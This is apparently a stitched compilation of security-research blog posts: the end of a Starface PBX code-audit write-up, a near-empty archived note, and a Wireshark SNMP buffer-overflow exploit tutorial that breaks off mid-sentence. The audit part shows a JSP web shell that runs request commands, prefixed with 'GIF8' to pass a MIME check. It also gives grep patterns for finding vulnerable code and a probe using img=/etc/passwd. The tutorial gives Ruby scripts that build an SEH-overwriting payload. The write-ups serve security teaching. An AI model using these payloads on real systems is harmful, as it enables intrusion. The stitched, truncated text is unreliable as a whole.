    /* 155 */       Object returnValue = executor.execute(httpRequest.getMethodName(), httpRequest.getParameters(), 
    /* 156 */           determineUrlFromCaller(req));
    
[/code]

We landed at
`de.starface.com.rpc.xmlrpc.http.HttpXmlRpcObjectParser.parse(InputStream,
boolean)`.

[code]

    /* 68 */       XmlPullParser pullParser = new MXParser();
    /* 69 */       BufferedReader reader = new BufferedReader(new InputStreamReader(stream, "UTF-8"));
    /* 70 */       pullParser.setFeature("http://xmlpull.org/v1/doc/features.html#process-namespaces", true);
    /* 71 */       pullParser.setInput(reader);
    /*    */       
    /* 73 */       HttpXmlRpcObjectBuilder objectBuilder = new HttpXmlRpcObjectBuilder();
    /* 74 */       XmlRpcObjectParser objectParser = new XmlRpcObjectParser(objectBuilder, "query");
    /*    */       
    /* 76 */       objectParser.parse(pullParser);
    
[/code]

Interestingly, the `org.xmlpull.mxp1.MXParser` was totally unknown to me at
this time \(and somehow is still today\). If you’re familiar with **XXE**
vulnerabilities, this should activate your “vulnerability detection brain
cells” \(still to be discovered by neuroscientists\). There was even an XML
parsing feature explicitly activated programmatically:
`setFeature("http://xmlpull.org/v1/doc/features.html#process-namespaces",
true)`. That _could_ mean that all the other dangerous parsing features
wouldn’t be active and therefore not exploitable. Searching for the proper JAR
file in the VM file system revealed a `xmlpull-1.1.3.1.jar`. First information
on a Java library could be found on the project website or the _Maven
Repository website_ https://mvnrepository.com/artifact/xmlpull/xmlpull.
Version `1.1.3.1` had a release date of 2017, another interesting indicator\!
No CVEs or publicly known vulnerabilities for this library were found. My
recommendation would then be: _building a toy project_ to play with. I didn’t
do this, yet. So this might be another side project anyone could start and
then blog about it \(\*hint\*\).

# Top-Down vs. Bottom-Up

So far, I explained finding vulnerabilities by a kind of **Top-Down** approach
but everybody is talking about using `grep` to find the juicy stuff, right?
Well, that’s also what I’m doing but I try to hold myself back until I already
got a good overview on the attack surface and I definitely understand what the
application is doing from a functional and technical point of view. You could
have started with something like this in the beginning

[code]

    grep -rl 'readObject()' --include='*.java'
    
[/code]

and maybe would have even found the `XmlReader` RCE. But I always suggest to
not accelerate to full speed at the beginning. You will make your security
code audit inefficient and also hit your frustration boundary a lot faster\!

So what are examples for the **Bottom-Up** approach? Basically, I constantly
maintain a list of keywords for dangerous functions, objects etc. for
different programming languages: command injections, SQL injections, XXE,
deserialization and more.

I’ll just give one example I used: SQL injection.

[code]

    grep -ril executeQuery | xargs -I {} grep -Li preparedstatement {}
    
[/code]

`executeQuery` is a well-known method name for executing SQL queries for
various Java SQL APIs. The same is true for the `PreparedStatement` keyword:
our enemy, because we don’t “want” them to use Prepared SQL Statements but
rather things like good old plain string concatenation.

[code]

    $ grep -ril executeQuery | xargs -I {} grep -Li preparedstatement {}
    com/microsoft/sqlserver/jdbc/SQLServerBulkCopy.java
    com/microsoft/sqlserver/jdbc/SQLServerXAResource.java
    com/microsoft/sqlserver/jdbc/SQLServerStatement.java
    com/mysql/cj/jdbc/StatementWrapper.java
    com/mysql/cj/jdbc/admin/TimezoneDump.java
    com/mysql/cj/jdbc/MysqlXAConnection.java
    com/mysql/cj/jdbc/integration/c3p0/MysqlConnectionTester.java
    com/mysql/cj/jdbc/interceptors/ServerStatusDiffInterceptor.java
    de/vertico/starface/phonesetup/adapter/PattonAdapter.java
    de/vertico/starface/phonesetup/adapter/DefaultPhoneHttpAdapter.java
    de/vertico/starface/persistence/connector/StatisticsHandler.java # well check this
    [...]
    
[/code]

We definitely got a long list of hits. These could have been all _false
positives_ but also we might had **missed** a lot. Why? Because if one Java
source file would have contained `n` SQL execute statements with Prepared
Statements and just **one of them** would have used string concatenation being
vulnerable to SQL injection, we would have missed it. So be careful about what
your `grep` command does **in detail**.

Let’s have a look at
`de.vertico.starface.persistence.connector.StatisticsHandler`. The first
`executeQuery` was used in this method:

[code]

    /*      */   private ResultSet getLineUsageData(Connection con, int accountCategory, long userId, long groupId, int directionCategory, TimeRange selectedTimeRange) throws SQLException {
    /*  196 */     StringBuffer buf = new StringBuffer();
    /*      */     
    /*  198 */     buf.append("SELECT c.id, callid, callleguuid, calleraccountid, callercallerid, calledaccountid, calledcallerid,");
    /*  199 */     buf.append(" starttime, ringingtime, linktime, callresulttime, callresult, lineid, wirename, linename,");
    /*  200 */     buf.append(" incoming, answered, duration, a1.login AS callerlogin, a2.login AS calledlogin");
    /*      */     
    [...]
    /*  220 */     buf.append(" ORDER BY callid, starttime");
    /*      */     
    /*  222 */     Statement stmt = con.createStatement();
    /*      */     
    /*  224 */     stmt.setFetchSize(100);
    /*  225 */     return stmt.executeQuery(buf.toString());
    /*      */   }
    
[/code]

Well, the `grep` worked just fine but the method parameters were not used at
all. Even if they’d have been used with concatenation to build the SQL string
buffer, they were mainly _number formats_. I.e. you could expect something
like a `NumberFormatException` before anything would have hit your SQL query
execution.

What about this method?

[code]

    /*      */   public void deleteFromVoicemailTable(String voicemailListId, String cdrid) throws SQLException {
    /*  576 */     con = null;
    /*      */     try {
    /*  578 */       con = getConnection();
    /*  579 */       con.setAutoCommit(false);
    /*  580 */       Statement stmt = con.createStatement();
    /*  581 */       if (StringUtils.isNotBlank(voicemailListId)) {
    /*  582 */         String sql = "DELETE FROM cdrvoicemail WHERE id=" + voicemailListId;
    /*  583 */         stmt.executeUpdate(sql);
    /*  584 */         stmt.clearBatch();
    /*  585 */         String sql1 = "DELETE FROM cdrtovoicemail WHERE idcdrvoicemail=" + voicemailListId;
    /*  586 */         stmt.executeUpdate(sql1);
    /*  587 */         stmt.clearBatch();
    /*  588 */         String sql2 = "DELETE FROM cdrsummarytovoicemail WHERE idcdrvoicemail=" + voicemailListId;
    /*      */         
    /*  590 */         stmt.executeUpdate(sql2);
    [...]
    
[/code]

This looked a lot better to me, didn’t it? Now, you could use the **Call
Hierarchy** function of Eclipse to search your way up to potentially
controlled user input.

<img src='img/sqlcallhierarchy.png' width='740' height='124' />

I didn’t find a quick win, yet. But again feel free to hack with me together
for some code audit fun purposes.

A week later I stumbled over another idea, triggered by one of my _Bottom-Up_
`grep`s: `readObject()`: `de/laures/cewolf/storage/FileStorage.java`. I
instantly remembered a cool exploit by _mr\_me_ for **ManageEngine Desktop
Central**. There was an insecure deserialization issue described at his
website. It used the `de.laures.cewolf.CewolfRenderer` to achieve RCE after
uploading a malicious file.

I had a look again in the `web.xml` file to check if there were any URL
patterns triggering this Servlet. I found this:

[code]

    [...]
    	<servlet>
    		<servlet-name>CewolfServlet</servlet-name>
    		<servlet-class>de.laures.cewolf.CewolfRenderer</servlet-class>
    		<load-on-startup>1</load-on-startup>
    	</servlet>
    [...]
    	<servlet-mapping>
    		<servlet-name>CewolfServlet</servlet-name>
    		<url-pattern>/config/statistic/statrender/*</url-pattern>
    	</servlet-mapping>
    
[/code]

Alright, I thought, let’s be sure first that the same insecure deserialization
code was available in the library used by Starface:
`de.laures.cewolf.CewolfRenderer.doGet(HttpServletRequest,
HttpServletResponse)`.

[code]

    [...]
    /* 135 */     String imgKey = request.getParameter("img");
    /* 136 */     if (imgKey == null) {
    /*     */       
    /* 138 */       logAndRenderException(new ServletException("no 'img' parameter provided for Cewolf servlet."), response, width, height);
    /*     */       return;
    /*     */     } 
    /* 141 */     Storage storage = this.config.getStorage();
    /* 142 */     ChartImage chartImage = storage.getChartImage(imgKey, request);
    [...]
    
[/code]

The `imgKey` we controlled, indeed. And we also found the code
`de.laures.cewolf.storage.FileStorage.getChartImage(String,
HttpServletRequest)`:

[code]

    /*     */   public ChartImage getChartImage(String id, HttpServletRequest request) {
    /* 108 */     ChartImage res = null;
    /* 109 */     ObjectInputStream ois = null;
    /*     */     try {
    /* 111 */       ois = new ObjectInputStream(new FileInputStream(getFileName(id)));
    /* 112 */       res = (ChartImage)ois.readObject();
    /* 113 */       ois.close();
    /* 114 */     } catch (Exception ex) {
    /* 115 */       ex.printStackTrace();
    /*     */     }
    [...]
    
[/code]

Nice\! **But** I of course needed a upload function letting me store a
malicious serialized object into a file with a specific path \(or I could have
controlled the path to\). So I focused on the most obvious file upload:
**upload an avatar for my profile**. Logged in as an unprivileged user `0002`
again, I searched and found the profile function quickly.

<img src='img/profileUI.png' width='740' height='353' />

I started with a valid image borrowed from my favorite fake profile
contributor https://thispersondoesnotexist.com/. I observed a POST request to
`http://192.168.2.103/frontend/preferences/display/data/avatar/upload.do?token=[...]`
with **multipart/form-data**.

<img src='img/profilemultiform.png' width='602' height='279' />

Interestingly, the response contained a download link for the image as well

[code]

    <table style="background-image: url('/download/starface1604513874694340454.jpeg?key=Su2UMZiXNl3Koo6swU487M7q6CN6gP');"
    
[/code]

and guess what: the same file name was found on the VM’s file system at
`/var/cache/tomcat/temp/starface1604513874694340454.jpeg`. So from the
response we could tell where a file landed and what it’s name would be.
Exactly what we needed. But we were not there, yet. We wanted to upload
something malicious, right?

We started with something obvious, a **JSP file** but all we got was an error:
`File has wrong MIME type, must be one of image/png, image/jpeg, image/gif`.
But a new file was created at
`/var/cache/tomcat/temp/starface7442021089817434947.jsp` with the JSP code
content. Unfortunately, we didn’t get the _download link_ in the response if
an error occurred. But I was on fire, motivation high, so I thought: **let’s
bypass this MIME type check**.

I drilled down the code starting from the Struts action until I hit
`de.vertico.starface.helpers.FileUploadCheck.checkMimeType()`.

[code]

    /*     */   void checkMimeType() throws FileUploadCheckException {
    /* 270 */     if (this.mimeTypes.isEmpty()) {
    /*     */       return;
    /*     */     }
    /*     */ 
    /*     */     
    /*     */     try {
    /* 276 */       ContentInfo info = this.magicUtil.findMatch(this.file);
    /*     */ 
    /*     */       
    /* 279 */       if (info == null || this.mimeTypes.stream().noneMatch(s -> info.getMimeType().equalsIgnoreCase(s))) {
    /* 280 */         throw new FileUploadCheckException("jsp.error.upload.wrong.mime.type", String.join(", ", this.mimeTypes));
    /*     */       }
    [...]
    
[/code]

I then followed the call to
`com.j256.simplemagic.ContentInfoUtil.findMatch(File)` and you might have
realized already that the **namespace changed**. We hit another library code,
no Starface code anymore. Searching at the VM’s file system revealed the JAR
file of the library located at `webapps/starface/WEB-
INF/lib/simplemagic-1.16.jar`.

The input for the MIME type definitions came from a file `magic.gz` in the
library’s JAR itself. This file was well-structured for every type based on
magic bytes and partially subsequent bytes.

[code]

    0       string          SIMPLEx20x20= FITS data
    !:mime  application/fits
    [...]
    
[/code]

Knowing which image file types were accepted in Starface, I could focus on the
`magic.gz` byte definitions for those. Another principle I try to follow:
always try the simpliest things first. Some MIME type definitions included
complex byte structure checks, some others didn’t. What I got was this:

[code]

    [...]
    0	string		GIF8		GIF image data
    !:mime	image/gif
    [...]
    
[/code]

The comparisons began at the very first byte of our input stream and checked
the first four bytes being equal to `GIF8`. And indeed, I was able to upload
JSP code, even preserving the file extension, with something like this:

[code]

    GIF8<%@ page import="java.util.*,java.io.*"%>
    <%
    %>
    <HTML><BODY>
    Commands with JSP
    <FORM METHOD="GET" NAME="myform" ACTION="">
    <INPUT TYPE="text" NAME="cmd">
    <INPUT TYPE="submit" VALUE="Send">
    </FORM>
    <pre>
    <%
    if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
    
        Process p;
        if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
            p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
    [...]
    
[/code]

I even tried to copy this file into the **Tomcat ROOT directory** manually and
was surprised that Tomcat happily served this file as JSP despite the `GIF8`
prefix. We learnt something new\!

Current status:

  1. We could upload a malicious file thanks to a MIME type check bypass.
  2. We didn’t have to hold a special permission but any authenticated user.
  3. We knew the file name and location on the file system.

We didn’t test this with a serialized object instead of a JSP file but wanted
to check the `CewolfServlet` call first.

We made a request to
`http://192.168.2.103/config/statistic/statrender?img=/etc/passwd` and **hit
the breakpoint**

<img src='img/cewolfhit.png' width='740' height='119' />

with our desired parameter

<img src='img/cewolfparam.png' width='740' height='127' />

and **failed**

<img src='img/cewolffail.png' width='740' height='63' />

\(…twice if you check the processing of `imgKey` more closely\).

No `de.laures.cewolf.storage.FileStorage` object here but
`de.laures.cewolf.storage.TransientSessionStorage`. Guess what? No
`readObject()` anymore.

**Conclusion of this journey** :

  1. We managed to find a dangerous file upload.
  2. We failed to chain it with a previously known deserialization issue of a library.

# More Fails

You’re looking for more fails? Look at `struts.xml` again and draw your own
conclusions.

[code]

    [...]
    	<constant name="struts.additional.excludedPatterns" value="^(action|method):.*" />
    	<constant name="struts.enable.DynamicMethodInvocation" value="true" />
    	<constant name="struts.devMode" value="false" />
    [...]
    
[/code]

# Last Words

This blog post already became a bit too long so I stop here with my fail
compilation. I hope you learnt something about the methods I use, common
pitfalls and some inspiration for a proper mindset on security code auditing.

# Formale Methoden im RE

**Created:**| _1/21/2010 5:49:23 PM_  
---|---  
**Updated:**| _1/21/2010 5:49:46 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification papers reversing_  
  
<img src='img/Temp2_3251' />

# d0c\_s4vage: Exploit-Dev Practice or Why You Shouldn't Copy-Paste

**Created:**| _11/10/2010 8:10:56 AM_  
---|---  
**Updated:**| _11/10/2010 8:11:33 AM_  
**Author:**| __  
**Tags:**| _Exploit vulnerability programming_  
  

### Exploit-Dev Practice or Why You Shouldn't Copy-Paste

I've recently taken a break from one of my current personal side projects to
practice some open-source bug hunting and exploit-dev. The bug I've found and
am going to explain in this post is rather useless \(it's not remotely
exploitable\), but it was a good exercise nonetheless. Since you can't
remotely pwn somebody else with it without social engineering, I'm not waiting
till it gets patched either :^\) So, on with the show...  
  
The bug I found is a simple one in wireshark. You can check out the latest
code from wireshark with:

[code]

    svn co http://anonsvn.wireshark.org/wireshark
    
    
[/code]

Also, for most of my examples, I used one of the recent dev wireshark builds
because you can get the pdbs for them. You could go to
http://www.wireshark.org/download/automated/win32/ and download a more recent
version of the exe and pdbs if you want \(wireshark doesn't archive all of the
dev builds it makes\). The vulnerable code is in epan/dissectors/packet-snmp.c
in the snmp\_usml\_password\_to\_key\_sha1 function. Can you spot the problem?

[code]

    3057 /*
    3058    SHA1 Password to Key Algorithm COPIED from RFC 3414 A.2.2
    3059  */
    3060 
    3061 static void
    3062 snmp_usm_password_to_key_sha1(const guint8 *password, guint passwordlen,
    3063                   const guint8 *engineID, guint engineLength,
    3064                   guint8 *key)
    3065 {
    3066     sha1_context     SH;
    3067     guint8     *cp, password_buf[72];
    3068     guint32      password_index = 0;
    3069     guint32      count = 0, i;
    3070 
    3071     sha1_starts(&SH);   /* initialize SHA */
    3072 
    3073     /**********************************************/
    3074     /* Use while loop until we've done 1 Megabyte */
    3075     /**********************************************/
    3076     while (count < 1048576) {
    3077         cp = password_buf;
    3078         for (i = 0; i < 64; i++) {
    3079             /*************************************************/
    3080             /* Take the next octet of the password, wrapping */
    3081             /* to the beginning of the password as necessary.*/
    3082             /*************************************************/
    3083             *cp++ = password[password_index++ % passwordlen];
    3084         }
    3085         sha1_update (&SH, password_buf, 64);
    3086         count += 64;
    3087     }
    3088     sha1_finish(&SH, key);
    3089 
    3090     /*****************************************************/
    3091     /* Now localize the key with the engineID and pass   */
    3092     /* through SHA to produce final key                  */
    3093     /* May want to ensure that engineLength <= 32,       */
    3094     /* otherwise need to use a buffer larger than 72     */
    3095     /*****************************************************/
    3096     memcpy(password_buf, key, 20);
    3097     memcpy(password_buf+20, engineID, engineLength);
    3098     memcpy(password_buf+20+engineLength, key, 20);
    3099 
    3100     sha1_starts(&SH);
    3101     sha1_update(&SH, password_buf, 40+engineLength);
    3102     sha1_finish(&SH, key);
    3103     return;
    3104  }
    
    
[/code]

Besides the actual vuln, I was surprised that this function was  _copied_ from
an RFC, with few modifications. This is what it looks like in RFC 3414 A.2.2:

[code]

       void password_to_key_sha(
          u_char *password,    /* IN */
          u_int   passwordlen, /* IN */
          u_char *engineID,    /* IN  - pointer to snmpEngineID  */
          u_int   engineLength,/* IN  - length of snmpEngineID */
          u_char *key)         /* OUT - pointer to caller 20-octet buffer */
       {
          SHA_CTX     SH;
          u_char     *cp, password_buf[72];
          u_long      password_index = 0;
          u_long      count = 0, i;
    
          SHAInit (&SH);   /* initialize SHA */
    
          /**********************************************/
          /* Use while loop until we've done 1 Megabyte */
          /**********************************************/
          while (count < 1048576) {
             cp = password_buf;
             for (i = 0; i < 64; i++) {
                 /*************************************************/
                 /* Take the next octet of the password, wrapping */
                 /* to the beginning of the password as necessary.*/
                 /*************************************************/
                 *cp++ = password[password_index++ % passwordlen];
             }
             SHAUpdate (&SH, password_buf, 64);
             count += 64;
          }
          SHAFinal (key, &SH);          /* tell SHA we're done */
    
          /*****************************************************/
          /* Now localize the key with the engineID and pass   */
          /* through SHA to produce final key                  */
          /* May want to ensure that engineLength <= 32,       */
          /* otherwise need to use a buffer larger than 72     */
          /*****************************************************/
          memcpy(password_buf, key, 20);
          memcpy(password_buf+20, engineID, engineLength);
          memcpy(password_buf+20+engineLength, key, 20);
    
          SHAInit(&SH);
          SHAUpdate(&SH, password_buf, 40+engineLength);
          SHAFinal(key, &SH);
          return;
       }
    
    
[/code]

What really surprised me though was that the comments in the code actually
warn about the vuln.  
  
Yes, the vuln is on line 3097 where the engineID is copied into the
password\_buf. If an engineId is sufficiently large, the buffer will be
overflowed. But what actually uses this function? \(Like I mentioned earlier,
it's not remotely exploitable, so don't get your hopes up :^\) Calls to this
function end up having call stacks like this:

[code]

    0:000> k
    ChildEBP RetAddr  
    0012fb88 008bee28 libwireshark!snmp_usm_password_to_key_sha1
    0012fba8 008c07af libwireshark!set_ue_keys+0x58
    0012fbc0 008c060a libwireshark!ue_se_dup+0x10f
    0012fbdc 006e017a libwireshark!renew_ue_cache+0x5a
    0012fbe8 006d19a3 libwireshark!uat_load+0x18a
    0012fc04 0069faad libwireshark!uat_load_all+0x53
    0012fc44 0069ff59 libwireshark!init_prefs+0x6d
    0012fc58 00420673 libwireshark!read_prefs+0x19
    0012fcb4 0041e5c8 wireshark!read_configuration_files+0x23
    0012ff18 00420a81 wireshark!main+0x6b8
    0012ff30 00521bae wireshark!WinMain+0x61
    0012ffc0 7c817067 wireshark!__tmainCRTStartup+0x140
    0012fff0 00000000 kernel32!BaseProcessStart+0x23
    
    
[/code]

This function is responsible for creating a key based on a sha1 hash of a
password that is configured by the user in the wireshark preferences and is
called when wireshark is opened, regardless if it is opening a pcap or
capturing network traffic. The key is then supposed to be used to help decode
SNMP traffic. You can configure preferences through the wireshark UI by going
to

[code]

    Edit->Preferences->Protocols->SNMP->Users Table (Edit...)
    
    
[/code]

and adding a new user/password, or you can directly edit the preferences file
at

[code]

    WINDOWS: %APPDATA%\Wireshark\snmp_users
       *NIX: ~/.wireshark/snmp_users
    
    
[/code]

Note: this only works with sha1 hashes. So, you know the vuln, now a quick
run-through on how to exploit it. First off, let's see what the classic "A" \*
a-whole-bunch looks like. I used this to generate the snmp\_users file:

[code]

    File.open("#{ENV['APPDATA']}\\Wireshark\\snmp_users","w") do |file|
     file.write("A" * 200 + ',"username","SHA1","password","DES","password"' + "\n")
    end
    
    
[/code]

After setting windbg to be the postmortem debugger \(use \`windbg -I\` to set
it\), this is what I see when wireshark opens and dies:

[code]

    (370.90): Access violation - code c0000005 (!!! second chance !!!)
    eax=00000002 ebx=00000000 ecx=00000012 edx=00000002 esi=aaaaaaaa edi=aabda5ee
    eip=7855aee6 esp=0012faac ebp=0012fab4 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000202
    *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Wireshark\MSVCR90.dll - 
    MSVCR90!memcpy+0xc6:
    7855aee6 8a06            mov     al,byte ptr [esi]          ds:0023:aaaaaaaa=??
    
    
[/code]

The stack trace is:

[code]

    0:000> kb
    ChildEBP RetAddr  Args to Child              
    WARNING: Stack unwind information not available. Following frames may be wrong.
    0012fab4 008bfd3a aabda5ee aaaaaaaa 00000014 MSVCR90!memcpy+0xc6
    0012fb88 aaaaaaaa aaaaaaaa aaaaaaaa aaaaaaaa libwireshark!snmp_usm_password_to_key_sha1+0xea
    0012fba8 008c07af 04e71000 04e71054 04e7104c 0xaaaaaaaa
    0012fbc0 008c060a 042ed2b8 006df61e 03361b38 libwireshark!ue_se_dup+0x10f
    0012fbdc 006e017a 042ed548 0012fc04 006d19a3 libwireshark!renew_ue_cache+0x5a
    0012fbe8 006d19a3 0400c510 0012fbfc 0400c510 libwireshark!uat_load+0x18a
    0012fc04 0069faad 0133439c 013343a4 013343b0 libwireshark!uat_load_all+0x53
    0012fc44 0069ff59 0015233b 00000002 00564944 libwireshark!init_prefs+0x6d
    0012fc58 00420673 0012fca4 0012fca8 0012fc80 libwireshark!read_prefs+0x19
    0012fcb4 0041e5c8 0012fd0c 0012fd64 00000050 wireshark!read_configuration_files+0x23
    0012ff18 00420a81 00000001 02c63fc8 00000008 wireshark!main+0x6b8
    0012ff30 00521bae 00400000 00000000 0015233b wireshark!WinMain+0x61
    0012ffc0 7c817067 0142d8b0 00000018 7ffd4000 wireshark!__tmainCRTStartup+0x140
    0012fff0 00000000 00521d8d 00000000 78746341 kernel32!RegisterWaitForInputIdle+0x49
    
    
[/code]

As you can see in red, we've overwritten our return address, as well as some
of the current and previous function's arguments with our engineID data. The
reason we didn't see an exception like this

[code]

    (304.7a8): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=0165ef54 ebx=00000000 ecx=008bfc50 edx=04e71000 esi=00151f0a edi=005fe5cc
    eip=aaaaaaaa esp=0012fb8c ebp=0012fba8 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010202
    aaaaaaaa ??              ???
    
    
[/code]

is that wireshark was compiled with the /GS flag, meaning that there are stack
cookies, as you can see below in red:

[code]

    libwireshark!snmp_usm_password_to_key_sha1:
    008bfc50 55              push    ebp
    008bfc51 8bec            mov     ebp,esp
    008bfc53 81ecc0000000    sub     esp,0C0h
    008bfc59 a118802102      mov     eax,dword ptr [libwireshark!__security_cookie (02218018)]
    008bfc5e 33c5            xor     eax,ebp
    008bfc60 8945f0          mov     dword ptr [ebp-10h],eax
    008bfc63 c745a400000000  mov     dword ptr [ebp-5Ch],0
    008bfc6a c745fc00000000  mov     dword ptr [ebp-4],0
    008bfc71 8d8540ffffff    lea     eax,[ebp-0C0h]
    008bfc77 50              push    eax
    008bfc78 e88310e3ff      call    libwireshark!sha1_starts (006f0d00)
    ...
    008bfd63 83c40c          add     esp,0Ch
    008bfd66 8b4d18          mov     ecx,dword ptr [ebp+18h]
    008bfd69 51              push    ecx
    008bfd6a 8d9540ffffff    lea     edx,[ebp-0C0h]
    008bfd70 52              push    edx
    008bfd71 e85a2ee3ff      call    libwireshark!sha1_finish (006f2bd0)
    008bfd76 83c408          add     esp,8
    008bfd79 8b4df0          mov     ecx,dword ptr [ebp-10h]
    008bfd7c 33cd            xor     ecx,ebp
    008bfd7e e85d817b00      call    libwireshark!__security_check_cookie (01077ee0)
    008bfd83 8be5            mov     esp,ebp
    008bfd85 5d              pop     ebp
    008bfd86 c3              ret
    
    
[/code]

The method I used to get around this is the classic overwrite-an-SEH-handler-
with-an-address-to-a-pop-pop-ret. I also needed to trigger an exception before
the call to \_\_security\_check\_cookie so that the exception handlers would
be called before the cookie was ever checked. The first thing I needed to
figure out was how long the engineID needed to be in order to overwrite the
SEH address on the stack. You can view the SEH chain in windbg like this:

[code]

    0:000> bu libwireshark!snmp_usm_password_to_key_sha1              # set the breakpoint
    0:000> g                                                          # continue execution
    ...
    0:000> !exchain                                                   # display the SEH chain
    0012ffb0: wireshark!_except_handler4+0 (00522555)
    0012ffe0: kernel32!_except_handler3+0 (7c839ac0)
      CRT scope  0, filter: kernel32!BaseProcessStart+29 (7c843882)
                    func:   kernel32!BaseProcessStart+3a (7c843898)
    Invalid exception stack at ffffffff
    
    
[/code]

\!exchain says the address of the next SEH structure is at 0x12ffb0. This
means the actual address of the next exception handler is at 0x12ffb4. Knowing
the address on the stack that needed to be overwritten \(0x12ffb4\), all I
needed to know before I could calculate the length of the engineID was the
start address of the overflowed buffer. This is easy enough to do if you set a
breakpoint on the vulnerable memcpy. \(when I can, I prefer calculating things
rather than using metasploit patterns\):

[code]

    0:000> bp 008bfd10
    0:000> g
    ...
    # disassembly
    008bfd10 83c40c          add     esp,0Ch
    008bfd13 8b4514          mov     eax,dword ptr [ebp+14h]
    008bfd16 50              push    eax
    008bfd17 8b4d10          mov     ecx,dword ptr [ebp+10h]
    008bfd1a 51              push    ecx
    008bfd1b 8d55bc          lea     edx,[ebp-44h]
    008bfd1e 52              push    edx
    008bfd1f e8d8817b00      call    libwireshark!memcpy (01077efc)
    
    
[/code]

In my testing, edx \(the dst buffer\) pointed to 0x12fb44. Thus, the total
length to overwrite up to the exception handler address would be
0x12ffb4-0x12fb44 = 1136. Now, since the data in the engineID is supposed to
be a hex value and gets converted from hex into binary data, we'll need twice
as much, so we'll need an engineID that is 2272 bytes long to overflow up to
\(not including\) the pointer to the next SEH handler code. New ruby code:

[code]

    def flip_dword(str)
     [str.hex].pack("V").scan(/./m).map{|b| "%02x" % b[0] }.join
    end
    
    engine_id = "90" * 1136
    engine_id += flip_dword("beefface")
    
    File.open("#{ENV['APPDATA']}\\Wireshark\\snmp_users","w") do |file|
     file.write(engine_id + ',"username","SHA1","password","DES","password"' + "\n")
    end
    
    
[/code]

Before/after memcpy \(break at 008bfd10\):

[code]

    ========================== BEFORE ============================     |=========================== AFTER ============================
    0012ff88 00000000                                                  |0012ff88 90909090 
    0012ff8c 00000000                                                  |0012ff8c 90909090 
    0012ff90 ffffffff                                                  |0012ff90 90909090 
    0012ff94 ffffffff                                                  |0012ff94 90909090 
    0012ff98 ffffffff                                                  |0012ff98 90909090 
    0012ff9c 0012ffac                                                  |0012ff9c 90909090 
    0012ffa0 00151f0a                                                  |0012ffa0 90909090 
    0012ffa4 00000000                                                  |0012ffa4 90909090 
    0012ffa8 0012ff48                                                  |0012ffa8 90909090 
    0012ffac 70b782cc                                                  |0012ffac 90909090 
    0012ffb0 0012ffe0                                                  |0012ffb0 90909090 
    0012ffb4 00522555 wireshark!_except_handler4                       |0012ffb4 beefface <--- Overwritten exception handler
    0012ffb8 5abbc6d5                                                  |0012ffb8 5abbc6d5 
    0012ffbc 00000001                                                  |0012ffbc 00000001 
    0012ffc0 0012fff0                                                  |0012ffc0 0012fff0 
    0012ffc4 7c817067 kernel32!BaseProcessStart+0x23                   |0012ffc4 7c817067 kernel32!BaseProcessStart+0x23
    0012ffc8 00cdf6f2 libwireshark!dissect_hclnfsd_lock_call+0x102     |0012ffc8 00cdf6f2 libwireshark!dissect_hclnfsd_lock_call+0x102
    0012ffcc 00cdf776 libwireshark!dissect_hclnfsd_lock_reply+0x76     |0012ffcc 00cdf776 libwireshark!dissect_hclnfsd_lock_reply+0x76
    0012ffd0 7ffd5000                                                  |0012ffd0 7ffd5000 
    0012ffd4 8054b6b8                                                  |0012ffd4 8054b6b8 
    0012ffd8 0012ffc8                                                  |0012ffd8 0012ffc8 
    0012ffdc 82188a80                                                  |0012ffdc 82188a80
    
    
[/code]

Just to show that we overwrote the correct SEH pointer in memory, you'll see
this error in windbg:

[code]

    (2e0.434): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000000 ebx=00000000 ecx=beefface edx=7c9032bc esi=00000000 edi=00000000
    eip=beefface esp=0012f6dc ebp=0012f6fc iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
    beefface ??              ???
    
    
[/code]

Now that we've got that working, we've got to make sure we raise an error
before the stack cookie is checked. But wait, it just worked, so what error
are we raising? The actual error when overflowing mainly with nops is this:

[code]

    (16c.660): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=909090a4 ebx=00000000 ecx=00000005 edx=00000000 esi=90909090 edi=90a38bd4
    eip=7855af58 esp=0012faac ebp=0012fab4 iopl=0         nv up ei ng nz ac po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010293
    MSVCR90!UnwindUpVec+0x30:
    7855af58 8b448eec        mov     eax,dword ptr [esi+ecx*4-14h] ds:0023:90909090=????????
    ...
    0:000> kb
    ChildEBP RetAddr  Args to Child              
    0012fab4 008bfd3a 90a38bd4 90909090 00000014 MSVCR90!UnwindUpVec+0x30
    0012fb88 90909090 90909090 90909090 90909090 libwireshark!snmp_usm_password_to_key_sha1+0xea
    ...
    # disassembly around 008bfd3a
    008bfd17 8b4d10          mov     ecx,dword ptr [ebp+10h]
    008bfd1a 51              push    ecx
    008bfd1b 8d55bc          lea     edx,[ebp-44h]
    008bfd1e 52              push    edx
    008bfd1f e8d8817b00      call    libwireshark!memcpy (01077efc)
    008bfd24 83c40c          add     esp,0Ch
    008bfd27 6a14            push    14h
    008bfd29 8b4518          mov     eax,dword ptr [ebp+18h]
    008bfd2c 50              push    eax
    008bfd2d 8b4d14          mov     ecx,dword ptr [ebp+14h]
    008bfd30 8d540dbc        lea     edx,[ebp+ecx-44h]
    008bfd34 52              push    edx
    008bfd35 e8c2817b00      call    libwireshark!memcpy (01077efc)
    008bfd3a 83c40c          add     esp,0Ch
    
    
[/code]

What's happening is that we overwrote the "key" parameter to the
snmp\_usm\_password\_to\_key\_sha1 function with nops \(\x90\). Thus, when the
third memcpy is called, it tries to read data from an invalid address
\(0x90909090\):

[code]

    3096     memcpy(password_buf, key, 20);
    3097     memcpy(password_buf+20, engineID, engineLength);
    3098     memcpy(password_buf+20+engineLength, key, 20);
    
    
[/code]

Another possible way to generate an error would be to mess with the the
